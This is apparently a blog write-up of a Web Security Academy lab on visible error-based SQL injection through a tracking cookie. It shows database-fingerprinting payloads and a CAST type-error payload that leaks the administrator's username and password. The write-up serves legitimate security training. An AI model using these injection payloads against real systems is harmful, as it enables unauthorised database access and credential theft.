UP | HOME

WSA: Visible Error-Based SQLi

Table of Contents

Introduction

We are given this task:

The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.

Just like in my previous article, before we go on we need to get some basic information.

Getting in position

SQL Injection Point

It is trivial, once again, to see that modifying the value of the cookie results in an error code, thus signaling that the cookie’s value is the point our payload should be inserted at.

20240214_221538_screenshot.png

Figure 1: SQL error through injection in the cookie field

By taking a better look at that response, however, we see that it gives us some more information regarding the error that was produced:

<h4>Unterminated string literal started at position 57 in SQL SELECT * FROM tracking WHERE id = 'TwPUGarplaH8g4da' test'. Expected  char</h4>
<p class=is-warning>Unterminated string literal started at position 57 in SQL SELECT * FROM tracking WHERE id = 'TwPUGarplaH8g4da' test'. Expected  char</p>

This behavior, despite providing extremely simple data in this example, might somehow be exploited.

DBMS enumeration

Trying a SELECT null statement in our payload, without a FROM part, resulted in 200 OK, which means that our target DBMS surely is not Oracle.

He protec he atac he gets the data bac

After that, we just have to see what to do there. Having completed the blind version of that room some days before (or was it just yesterday), I went ahead and dug the following payload from my notes:

UNION SELECT CASE WHEN ('b'='a') THEN TO_CHAR(1/0) ELSE null END FROM users--

It needs to be properly tinkered with, to match with our DBMS, but that is not so difficult. Using the Burp SQLi cheatsheet once again:

UNION SELECT CASE WHEN ('b'='a') THEN 1/0 ELSE null END--  
UNION SELECT CASE WHEN ('b'='a') THEN 1/(SELECT 0) ELSE null END--  
UNION SELECT IF('b'='a',1/0,null)--
  1. Returns 500, ruling out Microsoft DBMS
  2. Returns 500, ruling out PostgreSQL
  3. Returns 500, (in output function if is shown to be unrecognized), ruling out MySQL

I had not been paying attention to the error message, but after repeating the process (with just a little bit more attention now) the problem was obvious: The input string gets truncated.

20240214_223053_screenshot.png

Figure 2: Truncation POC

Not gonna lie: This is the first time I find myself against that. Deleting the contents of cookie (so that only ' is left) makes no change. The string is too long to be accepted. I need to use shorter payloads or find a way to overcome that truncation.

Trying some stuff out

To get a better understanding of the tools in our hands, I started testing payloads, so that I get more information from the visible error. One such helpful payload was the following, making a strong case for why our DBMS is Postgresql (simply: the function PG_SLEEP gets recognized, even though it does not run due to the wrong syntax)

TrackingId=TwPUGarplaH8g4da' UNION SELECT PG_SLEEP(1)--;

Searching for shorter payloads

Heading back to the cheatsheet it has a nice suggestion for exploiting visible errors, using typecasting.

I already know where to look at so:

TrackingId=' AND CAST((SELECT username from users limit 1)as int)<0--

returns

ERROR: invalid input syntax for type integer: "administrator"

Which means that the first entry in users, is the one of administrator. Substituting username with password reveals the password directly in the response (visible error)!

Summary

The way I decided to initially tackle the lab was problematic. Was not my input length limited, it could have worked, but it would have been a way more time-consuming process than the one that I finally found. Visible Errors are a tremendous tool for the tester, since they allow to easily debug payloads, and fix them accordingly. Taking advantage of type-casting to conveniently exfiltrate data is certainly impressive too!

Still, this lab got me thinking: I used a payload I consider minimal yet, had administrator been second (or third or…) in the table, I would not have gotten their password.1 Obviously, a different path could be possible but it feels like strange, depending so much on luck.

Footnotes:

1

What if the input was shortened by just some characters more? Four or five would be more than enough.

Originally created on 2024-02-14 Wed 22:12